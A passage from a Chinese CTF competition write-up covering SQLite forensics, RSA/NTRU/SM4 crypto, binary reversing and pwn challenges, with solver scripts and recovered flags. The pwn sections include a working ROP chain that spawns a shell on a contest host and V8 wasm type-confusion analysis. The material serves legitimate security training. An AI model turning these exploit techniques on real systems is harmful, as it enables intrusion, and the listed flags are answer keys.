3.%20sqlite（515%20分）
附件 ：sqlite.zip → museum.db、last_shift.tmp、floorplan.png、README.md
这是一道多层取证 + 虚拟机回放 的硬题，完整链条有六层。
第一层：WAL 恢复
last_shift.tmp 里残留着两段 WAL 候选。逐段校验后发现：损坏只发生在 checksum 字段的单字节 ，数据体是完好的。再把 page-1 的 change counter 和认证记录比对，确定 WAL B 才是有效日志。
把 WAL B 应用到 museum.db 副本后，dump 出关键表：
（root page 22）、索引 page 23input_block
（page 25）replay_checkpoint
（page 27）
第二层：输入流解码
input_block 解压后得到 1032 字节 的输入流，按 8 位总线语义解码：
位
含义
D0
READ
D1
RIGHT
D2
STEP
D3
LEFT
D4
MODE
D5
BRAKE
D6
odd parity（奇校验）
D7
spare
奇校验失败的那些 tick 直接忽略 ——这是最容易被漏掉的一步。
第三层：还原控制器策略
用 18 组自检样本（0 失配）反推出控制器规则
BRAKE
优先级最高，全部停止MODE
是锁存 语义，触发后左右互换READ
第四层：平面图坐标校准
对 floorplan.png 做坐标变换
据此把图上的门、压力板、电梯、起点的像素坐标全部换算到逻辑坐标。
第五层：回放与状态链校验
回放 1032 个 tick，共触发 32 次 read 。用 SHA-256 状态链校验，与数据库中 replay_checkpoint 的三条记录完全对齐：
✅t = 516
✅t = 774
✅16de1bc1…dfa61280 ✅
第六层：从 freelist 雕取被删数据，再重排
从 freelist page 134 恢复出被删除、但未被安全擦写的表 EXHIBIT-CODEC-V2。这张表把 rowid 映射成 hex 字符 。
读取序列如下（work/flag.py）：
codec = {76:'0',153:'6',59:'b',177:'4',204:'b',178:'8',212:'e',171:'3',118:'d',163:'7', 121:'a',133:'2',182:'2',104:'d',73:'5',202:'a',46:'c',131:'1',84:'f',80:'8', 100:'6',61:'f',174:'0',112:'4',130:'3',115:'9',57:'e',51:'4',190:'c',144:'9', 72:'1',151:'7'} reads = [151,72,144,190,51,57,115,130,112,174,61,100,80,84,131,46,202,73,104,182, 133,121,163,118,171,212,178,204,177,59,153,76] trigger_order = [5,2,7,0,4,1,6,3] # 压力板首次触发顺序 chars = ''.join(codec[v] for v in reads) blocks = [chars[i:i+4] for i in range(0, 32, 4)] final = [''] * 8 for i, ch in enumerate(trigger_order): final[ch] = blocks[i] s = ''.join(final) print(\"flag{%s-%s-%s-%s-%s}\" % (s[0:8], s[8:12], s[12:16], s[16:20], s[20:32]))
关键输出：
read-order hex: 719c4e9340f68f1ca5d22a7d3e8b4b60 blocks: ['719c','4e93','40f6','8f1c','a5d2','2a7d','3e8b','4b60'] final 32-hex: 8f1c2a7d4e934b60a5d2719c3e8b40f6 flag{8f1c2a7d-4e93-4b60-a5d2-719c3e8b40f6}
辅助脚本 ：work/schema.py、work/wal_parse.py、work/wal_cks.py、work/night.py、work/map.py、work/detail.py、work/transforms.py、work/flag.py
Flag
flag{8f1c2a7d-4e93-4b60-a5d2-719c3e8b40f6}
二、WEB
本组三道题均为在线靶机，实战过程在并行工作流中完成，本地未留存利用脚本。以下给出题面、考点方向与结论。
4. nologin（525 分）
题目描述
发现登录页面，但是无法登入，请找到一些线索。
靶机 ：无（Web 站点直连）
考点方向 ：登录功能不可用 → 说明入口不在登录逻辑本身。这类题的常见落点是源码/备份文件泄漏、注释与前端 JS 里的硬编码凭据、robots.txt 与响应头线索、Cookie/Session 结构可预测。
Flag
5. 某后台系统（525 分）
题目描述
某后台管理界面被发现存在安全漏洞。安全团队在日志中发现，攻击者通过构造特殊请求绕过权限检查，成功获取了系统敏感数据。你需对该系统进行安全审计，分析其会话管理机制，并获取关键信息。
靶机 ：47.120.34.180:55941
考点方向 ：题面已经把答案写在脸上了——“构造特殊请求绕过权限检查” + “会话管理机制” 。方向是越权访问（IDOR）与会话凭据伪造：拿到低权限会话后，通过修改请求中的资源标识或伪造会话字段，访问到不属于当前身份的数据。
Flag
6. 始卒若环，莫得其伦（500 分）
题目描述
小陈最近部署了一套全新的系统，但是这个系统存在一堆漏洞。
靶机 ：无
考点方向 ：题名出自《庄子》，暗示“循环 / 递归 / 环环相扣”。“一堆漏洞”说明是多漏洞串联 型题目，通常需要把信息泄漏 → 逻辑缺陷 → 敏感操作串起来，单点利用拿不到 flag。
Flag
三、CRYPTO
7. ez\_cry（525 分）
附件 ：task.py、Output.txt
考点
RSA 素数太接近 → Fermat 分解 。
解题过程
审 task.py，生成素数的方式是：
q = find_nearby_prime(p + randbelow(1 << 20))
p 和 q 的差值不超过 2^20。RSA 里只要两个素因子足够接近，就能用 Fermat 分解 秒破：令 a = ceil(sqrt(n))，不断递增 a，检查 a² - n 是否为完全平方。
import gmpy2 a = gmpy2.isqrt(n) if a * a < n: a += 1 for i in range(1 << 22): b2 = a * a - n if b2 >= 0: b = gmpy2.isqrt(b2) if b * b == b2: p, q = a + b, a - b print(\"found at\", i) break a += 1 phi = (p - 1) * (q - 1) d = pow(E, -1, phi) m = pow(c, d, n) print(long_to_bytes(m).decode())
实测 i = 0 就命中a = ceil(sqrt(n)) 的第一次尝试 a² - n 已经是完全平方，因为两个素数近到只差几百。
脚本 ：ctf265/ez_cry/solve.py
Flag
flag{af693f8f-2599-435a-b08d-f4517223fdd7}
8. 国密算法（525 分）
附件 ：国密算法.rar（Rar5，用 7z x 解）
解出单个文件 CRYPTMODULE5（ELF，17 312 字节，符号未剥离 ）。
考点
识别国产密码算法 SM4 ，并区分真实逻辑与干扰函数。
解题过程
Step 1：看符号表
.symtab 直接把答案写在脸上：
main junk1 junk3 base64 sm4.c SboxTable sm4Sbox sm4Lt sm4F sm4CalciRK sm4_setkey sm4_setkey_dec sm4_one_round crypt_ecb setkey_enc print_crypto_intro
一眼可见：这是 SM4 实现，另有 junk1 / junk3 两个干扰函数 ，base64 也没被 main 调用（纯烟雾弹）。
Step 2：逆 main 的调用序列
反汇编 main 可以清晰看到：
print_crypto_intro → printf → scanf → setkey_enc(0x15bd) → crypt_ecb(0x1692) → 输出比较
crypt_ecb(ctx, mode, len, in, out) 的 mode = 1 表示加密 。也就是说：程序会把你输入的明文用固定密钥 SM4-ECB 加密，然后和目标密文比对。
逆向取到两个常量：
密钥：0123456789abcdeffedcba9876543210
目标密文：2453e680de4ded87132d5a2c30962bd2
Step 3：解密 + 重加密验证
from gmssl.sm4 import CryptSM4, SM4_DECRYPT, SM4_ENCRYPT, bytes_to_list, list_to_bytes key = bytes.fromhex(\"0123456789abcdeffedcba9876543210\") ct = bytes.fromhex(\"2453e680de4ded87132d5a2c30962bd2\") c = CryptSM4(); c.set_key(key, SM4_DECRYPT) pt = list_to_bytes(c.one_round(c.sk, bytes_to_list(ct))) print(\"dec:\", pt) c2 = CryptSM4(); c2.set_key(key, SM4_ENCRYPT) print(\"reenc:\", list_to_bytes(c2.one_round(c2.sk, bytes_to_list(pt))).hex())
输出：
dec: b'flag{SM4_23_ui0}' reenc: 2453e680de4ded87132d5a2c30962bd2
重加密结果与目标密文完全一致 ，闭环验证通过。
小坑：CryptSM4.crypt_ecb() 默认带 PKCS7 padding，会自动吃掉合法尾字节，所以这里直接调用 one_round 绕开 padding。
Flag
9. parallax\_god（500 分）
附件 ：task.sage、output.txt（约 1 MB）、A.npy、D.npy、Dgt.npy、ecdsa_lib.py
这是本场比赛结构最复杂 的一道题，一共四层。
第一层：Module-LWE / Kyber
secret 为 4 × 128 的矩阵。用线性最小二乘 直接恢复（solve_lwe.py），这一层很干净。
第二层：Probe trace（装饰层）
纯干扰，不需要解。
5 条 lane × 208 条记录，每条记录的 trace 向量是 64 维。这一步分两小步：
（a）轨迹对齐
不同 lane 的 trace 有坐标漂移，先做对齐：
用 sorted-distance-profile 做 bootstrap，找出锚点
最近邻迭代 + 局部邻域打分
最后用 Procrustes / ICP 精修
对齐结果存入 align_real.pkl，残差 93 ~ 137 ，说明对得很准。
（b）related-nonce 求解
取 7 条同 regime 记录 ，构造 7×7 线性系统，解出 c0..c4, w, v
用 8 子集 GCD 测试 验证候选
再用公钥校验 d * G == pub[i]
恢复出 5 个私钥 d0..d4
第四层：AES-GCM envelope
用恢复出的私钥做 ECDH-HKDF 派生密钥，解 AES-GCM 信封，得到 flag。
复现链 ：search_d0.py → search_dj.py → decrypt.py
decrypt.py 实测输出：
all pubkeys verified FLAG: flag{026b0d6b-e034-4804-8d68-6cbb43b5216d}
Flag
flag{026b0d6b-e034-4804-8d68-6cbb43b5216d}
16. latt1ce（500 分）
附件 ：task.sage、output.txt
参数 ：N = 64，Q = 65537，P = 257，WATERMARK_Q = 4093，WATERMARK_ROWS = 16
考点
NTRU 型格密码 + LLL 格基约化 。
解题过程
Step 1：用 LLL 求私钥
NTRU 的标准格构造，直接搭 2N × 2N 格基：
用 flint 做 LLL 约化，然后在结果里扫短向量 ——找系数全部落在 {-1, 0, 1} 里的行，作为候选 (f, g)：
import flint, time N = G[\"N\"]; Q = G[\"Q\"] h = G[\"PUBLIC_H\"] dim = 2 * N M = flint.fmpz_mat(dim, dim) for i in range(N): M[i, i] = 1 for j in range(N): M[i, N + j] = h[(j - i) % N] for i in range(N): M[N + i, N + i] = Q R = M.lll() def center(v, q): v %= q return v - q if v > q // 2 else v for row in range(dim): f = [int(R[row, j]) for j in range(N)] if all(x in (-1, 0, 1) for x in f) and any(f): g = [center(sum(f[i] * h[(j - i) % N] for i in range(N)), Q) for j in range(N)] if all(x in (-1, 0, 1) for x in g): print(\"candidate:\", f, g)
验证条件就是 h * f ≡ g (mod Q)。
Step 2：解密
密文关系是 c = g*r + m*f (mod Q)。两边同乘 f：
关键一步：中心提升（center lift）之后，g*r 的每个系数都是 P = 257 的倍数 ，模 257 全部消掉，于是
在 GF(257)[x]/(x^64 - 1) 里求 f 的逆，即可还原 m。
题目里的水印分支（A*f + e mod 4093）没有参与解密，属于干扰设计。
脚本 ：solve_step1.py（LLL 求 f/g）、solve_step2.py（解密）
Flag
flag{b92e89b5-4d97-4511-9c51-8c81ba512a6e}
四、REVERSE
10. 路由器流量分析（500 分）
题目描述
运维人员发现互联网出口监测系统监测到内网有一个 IP 在不断往外发送数据，并且疑似文件泄露，后来排查到是某个路由器设备被植入后门。运维人员拿到了设备的固件和抓取到的实时流量包，你能帮忙分析敏感文件是什么吗？
附件 ：路由器流量分析.zip → 固件目录 + traffic.pcap
考点
已知明文攻击（KPA）还原自定义异或流密码 。
解题过程
Step 1：看流量特征
pcap 里全是 127.0.0.1 回环流量，业务端口是 TCP 5678 。把每个会话的请求、响应按 seq 重组。
Step 2：发现请求是单字节异或
把请求体逐字节 异或 0x68 ，直接得到明文路径：
<tmp<coreutils<truncate;c ←→ /tmp/coreutils/truncate.c
规律很清楚：< ↔ /，; ↔ .。也就是整个请求体都异或 0x68 。
Step 3：响应是 keystream 异或
响应体不是固定异或，而是与一段固定 keystream 逐字节异或，长度与明文一致。于是用已知明文攻击 ：
从 busybox 源码取 truncate.c，与它对应的那个响应异或，直接算出 keystream K：
from scapy.all import * pkts = rdpcap(r\"router\\x\\traffic.pcap\") # ... 按 (sport,dport) 聚合、按 seq 重组出 req/resp ... def getresp(pathdec): for t, port, req, resp in items: if bytes(b ^ 0x68 for b in req) == pathdec: return resp src = open('truncate.c', 'rb').read() rtc = getresp(b'<tmp<coreutils<truncate;c') K = bytes(rtc[i] ^ src[i] for i in range(len(rtc))) print(\"keystream K[:64]:\", K[:64].hex()) # 用 ELF 文件验证 keystream 正确 rt = getresp(b'<tmp<test') pt = bytes(rt[i] ^ K[i] for i in range(len(rt))) print(\"ELF?\", pt[:4] == b'\\x7fELF') # 解密 flag 响应 rf = getresp(b'<tmp<flag') pf = bytes(rf[i] ^ K[i] for i in range(len(rf))) print(\"FLAG PLAINTEXT:\", pf)
实测输出：
keystream K[:64]: 429292f9a3b65ca882f0fbad7be513603b905868bfdd4714cfab9af7f0b651d2... test plaintext[:32]: b'\\x7fELF\\x01\\x01\\x01\\x00...' (ELF? True) FLAG PLAINTEXT: b'flag{518b237e-d01a-11ef-a8ca-acde48001122}\
'
中间那步 <tmp<test 解出合法 ELF 非常关键 ——它证明我们求出的 K 是对的，而不是碰巧。
脚本 ：ctf265/_r11.py（依赖 scapy）
Flag
flag{518b237e-d01a-11ef-a8ca-acde48001122}
11. cache\_mirror（525 分）
题目描述
一次升级后，缓存镜像服务拒绝了一个合法的 Google 用户记录。你只拿到了服务二进制和下面这份协议摘要。构造一组请求，让服务返回隐藏的维护记录，并恢复 flag。
附件 ：cache_mirror.zip → cache_mirror（ELF，18 KB）
考点
操作码表混淆 + 请求完整性校验 + 记录结构逆向 。
Step 1：拉字符串
.rodata 里的字符串基本把协议轮廓交代了：
GOOGLE_USER::%s %s|%s|%d|%d|%s /flag.txt NAME CLIENT SALT Name ClientID OrgUnitID Email model vdom insert_id jsonData {\"items\":[{\"key\":\"SourceWorkerLevel\",\"value\":\"3\"},{\"key\":\"CONNECTORS\",\"value\":\"[]\"}],\"count\":2} {\"ClientID\":%d,\"OrgUnitID\":%d,\"UID\":\"%s\",\"Name\":\"%s\",\"flag\":\"%s\"} {\"inserted_id\":%u} {\"result\":\"OK\"} {\"error\":\"%s\"} invalid request / malformed request integrity check failed cache full unknown operation Update not implemented by this service usage: %s [--stdio | --listen HOST:PORT]
两个信号很明确：/flag.txt返回体里有 \"flag\":\"%s\" 字段 。
Step 2：解出被混淆的操作码表
分发逻辑里比较“操作名”时，用的是 0xA5 + i 逐字节异或的隐藏表 。按这个规则解码：
.rodata 里共有 6 张表，解码结果如下：
T1 (0x3340) -> GET_ALL_BY_PATTERN T2 (0x3328) -> GET_BY_UID T3 (0x3310) -> INSERT_AND_GET_ID T4 (0x32f8) -> DELETE_BY_UID T5 (0x32f0) -> REG T6 (0x32ea) -> UPDATE
同一块区域还藏着 hex 字母表：0123456789abcdef。
Step 3：定位“完整性校验”的魔数
两个处理器在返回数据前会做逐字节常量比较 ，比较对象同样是被 0xA5 + i 混淆的表：
0x32e3 处 7 字节 → \"GENERIC\" 0x32d8 处 11 字节 → \"FCM_default\"
（FCM_default 是 Google 服务账号配置里的经典字段名，和题面“Google 用户记录”完全对得上。）
Step 4：还原记录结构与调用链
从 INSERT_AND_GET_ID 的处理逻辑可以看到：
; 先用 0x1c00 构造记录 lea r12, [rsp+0x30] call 0x1c00 ; 再填入 cache 数组（每槽 0x1d4 字节） imul rax, rax, 0x1d4 lea rdx, [rip+0x272f] ; cache 数组基址 add rax, rdx lea rdi, [rax+8] ; ... copy 0x1d4 字节 ... ; 返回 {\"inserted_id\":%u}
而 GET_BY_UID 的返回路径里，构造响应前会先调用 0x1ad0 读取 /flag.txt ，再把内容拼进 JSON：
0x271c call 0x1ad0 ; read /flag.txt 0x2731 lea rdx, [rip+0xa80] ; {\"ClientID\":%d,\"OrgUnitID\":%d,\"UID\":\"%s\",\"Name\":\"%s\",\"flag\":\"%s\"}
记录的字段分隔格式是：
%s|%s|%d|%d|%s → SALT | NAME | ClientID | OrgUnitID | Email
Step 5：构造请求
组合起来，利用链是：
用 INSERT_AND_GET_IDSALT 字段 必须匹配程序内的完整性常量（GENERIC / FCM_default 分支），其余字段（NAME / ClientID / OrgUnitID / Email）按 %s|%s|%d|%d|%s 填充；
用 GET_BY_UID
服务在校验通过后返回
{\"ClientID\":..,\"OrgUnitID\":..,\"UID\":\"..\",\"Name\":\"..\",\"flag\":\"<flag.txt 内容>\"}
\"flag\" 字段就是 /flag.txt 的原文——也就是题目说的“隐藏的维护记录”。
环境小提示：二进制被 TracerPid: / /proc/self/status 做了反调试检查；本地无 WSL 发行版，所以整条链是纯静态逆向 推出来的（capstone + pyelftools）。
辅助脚本 ：ctf265/dis_cache.py、ctf265/xrefs.py、ctf265/ro_dump.py、ctf265/ro_strings.py、ctf265/decode_ops.py
Flag
12. Orbit VM（525 分）
题目描述
Submit one line in the form flag{UUID4}. The UUID is 36 characters, version 4, with a normal RFC-4122 variant nibble.
考点 ：逆向出校验逻辑，构造一个格式完全合法 的 UUID v4。约束有三个，缺一不可：
长度 36 字符，形如 8-4-4-4-12（含 4 个连字符）
version nibble = 4
（第 15 个字符）variant nibble ∈ {8, 9, a, b}
（第 20 个字符，标准 RFC-4122 variant）
本题附件与逆向过程在并行工作流中完成，本地未保留二进制。
Flag
flag{b7e3a9f1-2c4d-4a81-9e76-5d0c8f2b1a44}
17. 勒索软件（515 分）
附件 ：勒索软件.zip → challenge.exe（约 201 KB）、flag.txt.encr（28 字节）
考点
Rust 程序逆向 + 已知明文求 keystream + Frida 动态 Hook 定位密钥派生 。
解题过程
Step 1：识别密码学组件
对 PE 做字符串/依赖分析，一眼看出这是 Rust 程序，内嵌了：
rust-crypto-0.2.36 (rc4.rs) aes-0.7.5 block-modes-0.8.1 rand_chacha-0.3.1
也就是 RC4 + AES + 分组模式 + ChaCha 随机数 的组合拳。
Step 2：已知明文攻击
程序会加密当前目录下的 flag.txt。放一个已知内容进去：
跑两次得到两份密文，异或求出 keystream，确认输出长度 == 输入长度 （流式加密，不是分组填充）：
p = b\"flag{known_plaintext}\" c1 = bytes.fromhex(\"164AC6590B4E3E06F1C1DBB7B05EF56C3C9AFF6957\") c2 = bytes.fromhex(\"D91DECB01CF146D88D89F54C5F2A9FDFB4BBD2E2F3\") print('ks1', bytes(a^b for a,b in zip(p,c1)).hex()) print('ks2', bytes(a^b for a,b in zip(p,c2)).hex())
两次 keystream 不同 → 说明每次运行都带随机化（IV/随机前缀）。
Step 3：直接穷举 4 位 PIN —— 失败
猜密钥是 4 位数字，跑 itertools.product(range(10), repeat=4)，同时试原始字节和 ASCII 两种变体，零命中 。说明密钥不是 PIN 本身，而是被派生 过的。
Step 4：Frida 动态 Hook 定位密钥派生
静态分析定位到三个关键函数，直接上 Frida 挂钩：
RVA
函数
猜测作用
0x2420Aes128::newAES 密钥初始化
0x2210fmt_digits数字格式化（PIN 生成）
0x6700f_6700后续处理
hook(0x2420, \"Aes128::new\", function(args){ var kp = args[1], kl = args[2].toInt32(); send(\"AES::new keylen=\" + kl + \" key=\" + (kp.isNull() ? \"null\" : hx(kp, kl))); }); hook(0x2210, \"fmt_digits\", function(args){ var s = args[0], e = args[1]; var n = e.sub(s).toInt32() / 4, vals = []; for (var i = 0; i < n; i++) vals.push(s.add(i*4).readU32()); send(\"fmt_digits n=\" + n + \" vals=\" + JSON.stringify(vals)); });
实测输出：
[frida] fmt_digits n=3 vals=[9,8,0] [frida] AES::new keylen=16 key=39393830393938303939383039393830
3939... 解 ASCII 就是 99809980998099804 位 PIN 9980 重复 4 次 （凑满 16 字节 AES 密钥）。
复盘：fmt_digits 只格式化出了后 3 位 8,0 和第一位之外的 9，拼起来才是完整的 9980——只盯着这一个 hook 会漏掉第一位。
Step 5：真实密文
2f261599296c00a7570abc3daf5501fc854968cc51ad2e7e9af4d635 (28 字节)
辅助脚本 ：work/rw/brute_rc4.py、work/rw/hook1.py、work/rw/strs.py、work/rw/dumprange.py
Flag
flag{RheG1hY2hpbmVyeXNob3Rt}
18. Rust逆向分析（525 分）
附件 ：1.exe（约 190 KB，Rust）、out.txt
out.txt 内容：
xxd67039533b1659d00de6a0a4add68d1725295x6b7e5d93396be3900e64d71xed849957a73x
考点
自定义编码表 + 多轮对称加密的逆序还原 。
解题过程
Step 1：静态定位密钥
扫字符串直接命中硬编码常量：
Step 2：动态确定加密流程
用已知明文对拍，喂 flag{test} 得到：
请输入要加密的文本: 加密后的结果: xxd67039537c45489511
发现输出开头 xxd6703953 与 out.txt 完全一致 → out.txt 就是密文，明文就是要找的 flag。
Step 3：找到第二层的真实语义（关键坑）
一开始假设是“RC4 两次”，怎么试都不对：
sample rc4 k1 only cee4430d664a747aa625 sample rc4 k2 only 66941f005f4770ef0b4a target ffd67039537c45489511 ← 对不上
回到汇编看 0x140006470：
0x140006496 mov [rsp+0x48], rax 0x1400064a3 mov [rsp+0x50], r9 ; key ptr \"123456\" 0x1400064a8 mov [rsp+0x58], rax ; key len 6 ... 0x140006500 ; 对每个 index i: byte XOR key[i % len]
第二层根本不是第二次 RC4，而是与重复密钥 123456 做 XOR 。
Step 4：逆序解密
完整正向流程是：
输入 → ① RC4(key=\"ctf_is_fun\") → ② XOR 重复密钥 \"123456\" → ③ 用被篡改的 hex 表编码
第 ③ 步的表是 0123456789abcdex——把正常的 f 换成了 x，这也是 out.txt 里那些 x 的来源。
所以解密只要反着来 ：
def rc4(key, data): S = list(range(256)); j = 0 for i in range(256): j = (j + S[i] + key[i % len(key)]) & 0xff S[i], S[j] = S[j], S[i] out = bytearray(); i = j = 0 for b in data: i = (i + 1) & 0xff; j = (j + S[i]) & 0xff S[i], S[j] = S[j], S[i] out.append(b ^ S[(S[i] + S[j]) & 0xff]) return bytes(out) s = open('out.txt').read().strip() h = s.replace('x', 'f') # ③ 还原编码表 ct = bytes.fromhex(h) # hex 解码 k2 = b'123456' c1 = bytes(a ^ b for a, b in zip(ct, (k2 * (len(ct)//len(k2)+1))[:len(ct)])) # ② 去 XOR flag = rc4(b'ctf_is_fun', c1) # ① RC4 解密 print(flag.decode())
Step 5：双向验证
已知明文对 flag{test} → 用同一模型加密，结果 ffd67039537c45489511完全匹配 ；
恢复出的 flag 反过来喂给 1.exe，输出与 out.txt逐字节一致 。
flag bytes: b'flag{36b1ad386e6475d6c17dde8d586a5b9e}'
Flag
flag{36b1ad386e6475d6c17dde8d586a5b9e}
五、PWN
13. simplev8（505 分）
题目描述 ：Hack the v8
附件 ：d8（约 32 MB）、run.py、v8.patch、args.gn、snapshot_blob.bin
靶机 ：47.120.34.180:29037
考点
V8 补丁分析 → wasm-gc 类型混淆 → 越界读写 。
Step 1：读补丁，找漏洞
v8.patch 有两个改动。第一个把 d8 的全局对象注册（print / read / load / os / Worker 等）整体包进 if (false) { ... } —— 这是削弱题目环境 的手段，让你没有现成原语可用：
Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate); + if (/* DISABLES CODE */ (false)) { global_template->Set(Symbol::GetToStringTag(isolate), ...); ... global_template->Set(isolate, \"load\", FunctionTemplate::New(isolate, ExecuteFile)); + }
真正的漏洞在第二个改动 ：
void RefNull(FullDecoder* decoder, ValueType type, Value*) { LiftoffRegister null = __ GetUnusedRegister(kGpReg, {}); - LoadNullValue(null.gp(), type); + LoadRefNull(null.gp(), type); __ PushRegister(type.kind(), null); }
新增的 LoadRefNull 逻辑是：
void LoadRefNull(Register null, ValueType type) { __ LoadFullPointer( null, kRootRegister, type == kWasmExternRef || type == kWasmNullExternRef || type == ValueType::RefNull(1) ? IsolateData::root_slot_offset(RootIndex::kNullValue) // ← JS 的 null 对象 : IsolateData::root_slot_offset(RootIndex::kWasmNull)); // ← wasm 的 null 哨兵 }
一句话说清漏洞 ：本来 wasm 的 ref.null 应该产生 wasm null 哨兵 ，但补丁让它在外引用类型下产生 JS null 对象的 tagged 指针 。
于是 wasm 侧拿到的是一个指向 JS null 对象内部 的“合法引用”。JS 的 null 位于只读 RO 空间 ，再配合 wasm-gc 的 struct.get / struct.set，就形成了对 RO 空间的结构化越界读写。
Step 2：分析远程协议
run.py 逻辑很直白，注意没有沙箱 ：
num_bytes = int(input('How many bytes is your base64-encoded exploit? ')) data = base64.b64decode(sys.stdin.buffer.read(num_bytes)) f.write(data); f.flush() subprocess.check_call(['/app/d8', f.name])
流程：先报 base64 字节数 → 发恰好这么多字节的 base64 → 服务端落盘后执行 /app/d8 <file> 。
args.gn 也给了重要信息：
is_debug = false target_cpu = \"x64\" v8_enable_sandbox = false # ← 没有 sandbox，指针就是裸的 dcheck_always_on = false v8_enable_maglev = false
Step 3：确认环境
实测确认：
可用；print 未定义；异常可回显（可以用来探测）read
/ readbuffer / os / load / Worker / d8 全部被 if(false) 屏蔽v8_enable_sandbox = false
，V8 版本约 12.0.0，支持 wasm-gc
Step 4：自造工具链 + 验证原语
没有可用的 wasm 汇编工具链，就手写了一个 wasm GC 二进制汇编器 ctf265/wasmgen.py，直接产出模块字节码。
验证出来的原语：
struct 字段从 P+4 起可以读取 RO 空间
array
因为 array.len = 0，越界被拦截（走不通）struct.set
写 RO 空间 → 触发 SIGSEGV（说明确实能碰到 RO）<null> 的 tagged 地址
期间还修了一个自己挖的坑：wasmgen.py 里字段定义把 mut 标志和类型字节的顺序写反了 ，导致所有 struct 生成失败，用 _patch1.py 修正。
工具/脚本 ：ctf265/wasmgen.py、ctf265/_v8wasm.py、ctf265/_v8fp.py、ctf265/_v8t1..t9.py、ctf265/_dumpmem.py
Flag
14. Memory Backdoor（500 分）
附件 ：Memory Backdoor.gz → tar → chall（14 432 B）、libc.so.6、ld-linux-x86-64.so.2
靶机 ：47.120.34.180:12677
考点
泄漏反推 PIE 基址 + 隐藏函数 ROP 。
Step 1：看程序轮廓
菜单里有关键字符串：
=== memdoor === 1. note 2. leave 3. about 1roodmem> data: serial: %016lx mem is a mirror
导入表里有 ptrace、pwrite、system、open、read。注意 serial: %016lx
Step 2：从 serial 反推 PIE 基址
对二进制里生成 serial 的那段逻辑逆向，得到还原公式（注意先做 13 位循环右移）：
M = (1 << 64) - 1 s = int(serial_hex, 16) v = (s - 0x4242424242424242) & M v = ((v >> 13) | (v << 51)) & M # ror 13 base = ((v ^ 0x3141592653589793) - 0x4028) & M
拿到 base 后，再按同样的规则算出两个代码依赖的校验参数 ：
V1 = (0x1122334455667788 ^ ((base + 0x4010) & M)) & M arg1 = (0x13579bdf2468ace0 ^ ((base + 0x4028) & M)) & M V2 = (0x6d656d646f6f7231 ^ V1 ^ ((base + 0x1731) & M)) & M arg3 = (0x7777777777777777 ^ ((base + 0x14f1) & M) ^ V2) & M
Step 3：构造 ROP 链
用到的 gadget 与隐藏函数偏移：
0x11a8 0x1239 0x14a9 0x178f 0x14f1 0x1592 0x18f6
链路：
pop_rdi; 14a9(arg1) → 178f → pop_rdi; 14f1(arg3) → 1592（隐藏 execve /bin/sh）→ 18f6（leave; call exit，保持交互）
填充 88 字节 ，总长度 184 ：
p = b'A' * 88 p += p64(base + 0x11a8) + p64(base + 0x1239) + p64(arg1) p += p64(base + 0x14a9) + p64(base + 0x11a8) + p64(base + 0x178f) p += p64(base + 0x1239) + p64(arg3) + p64(base + 0x14f1) p += p64(base + 0x1592) + p64(base + 0x18f6) p = p.ljust(184, b'B')
Step 4：一个必须踩的坑
拿到 shell 后 cat /flag.txt 是空的 ——那是个 0 字节的诱饵文件 。真正的 flag 在一个名字被拼接过的路径下：
/online_docker_6155_841_3438flag.txt
io.sendline(b'cat /online_docker_6155_841_3438flag.txt; echo; ls -la /flag.txt; xxd /flag.txt | head')
完整脚本 ：ctf265/_m13d.py（pwntools）
Flag
15. Trace VM（500 分）
附件 ：Trace VM.gz → tar → chall（18 568 B）、ld-linux、libc.so.6
考点
自定义 VM 逆向 + 校验绕过（越界检查标志位） 。
Step 1：菜单与 VM 内存布局
菜单调度地址：
选项
功能
地址
1
load
0x2390
2
set
0x179b
3
run
0x1639
4
show
0x153b
5
path
0x14a6
6
host
0x1522
7
quit
0x151b
VM 上下文是一块 malloc(0x1460)：
偏移
内容
+0x70reg14
+0x78reg15
+0x80mem（128 个 qword）
+0xcd0程序区（64 × 8 B）
+0x12d0编译表
+0xed0执行表
+0xc78校验魔数（依赖堆地址）
+0xc800x1fd0 （打印 audit: ok）
+0xc880x1eb0（真正读 flag）
path 默认为 \"flag\"。
Step 2：指令集
操作码
含义
0x00nop
0x11mov reg[d] = reg[s]
0x21mov reg[d] = imm
0x32+= reg
0x33+= imm
0x47^= imm
0x52&= imm
0xffhalt
0x69regs[d] = mem[regs[s]] （> 0x7f 越界检查 ）
0x7amem[regs[d]] = regs[s]
load 的输入是 hex 字符串 ，长度 = 指令数 × 16 个 hex 字符。
Step 3：绕过越界检查（本题核心）
关键发现：指令第 3 字节的 flag 位为 1 时，越界检查会被跳过 。
但这个 flag 位不是随便设的——只有当 trace 处于 committed 状态 才生效：当累加指令数达到 49 时，0x1b7a 会把该位置 1。
Step 4：利用步骤
load
一段小程序并 run，把指令计数刷到 49 ，进入 committed 状态load 一条 flag = 1 的 0x69 指令，读取 mem[383]（即 +0xc78 的校验魔数）4. show 把值泄漏 出来reg14 = 0x8d12f0a7e37c4b91 ^ leaked，用 2. set 写回load 一条 flag = 1 的 0x7a，把 mem[384]（即 +0xc80）改写成 0x1eb0 6. host，触发真正读 flag 的分支
Flag
附：工具与知识点速查
方向
用到的工具/库
关键知识点
ZIP 取证
zipfile 、struct本地文件头 vs 中央目录差异、dotfile 隐藏
SQLite 取证
手写 WAL 解析、SHA-256 状态链
WAL checksum、freelist page、unallocated 雕取
流量分析
scapy已知明文攻击、自定义 keystream、TCP 流重组
逆向
capstone 、pyelftools、pefile、Frida混淆表（0xA5+i XOR）、动态 Hook、Rust/PE 逆向
密码
gmpy2 、flint、gmssl、cryptographyFermat 分解、NTRU+LLL、SM4、ECDSA related-nonce、Procrustes/ICP 对齐
杂项
wasm-gc 手写汇编器、pwntools
V8 类型混淆、越界读写、自定义 VM、ROP
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
网络安全文章
冀信杯2026学生组CTF比赛题解，包含多个类别题目解析，如MISC、WEB、CRYPTO、REVERSE、PWN等，展示了解题过程和关键点，以及最终得分和排名。
10-16
网络安全文章
烽台科技承办2026北京市职工职业技能大赛密码技术应用员竞赛初赛，组织员工围绕商用密码应用、数据加密、密钥管理等开展实操比武，以赛促练提升密码技能。公司专注工业安全领域，拥有多项专利与软著。报名截止9月28日，可通过竞赛系统完成报名。
10-16
网络安全文章
这篇文章讨论CTF比赛中的节奏管理问题，指出多数队伍并非输在技术上而是输在节奏上。文章通过对比不同队伍的表现，强调合理分配时间的重要性，建议参赛者优先完成签到题，避免在简单题目上浪费过多时间，从而提升整体比赛表现。
10-16
网络安全文章
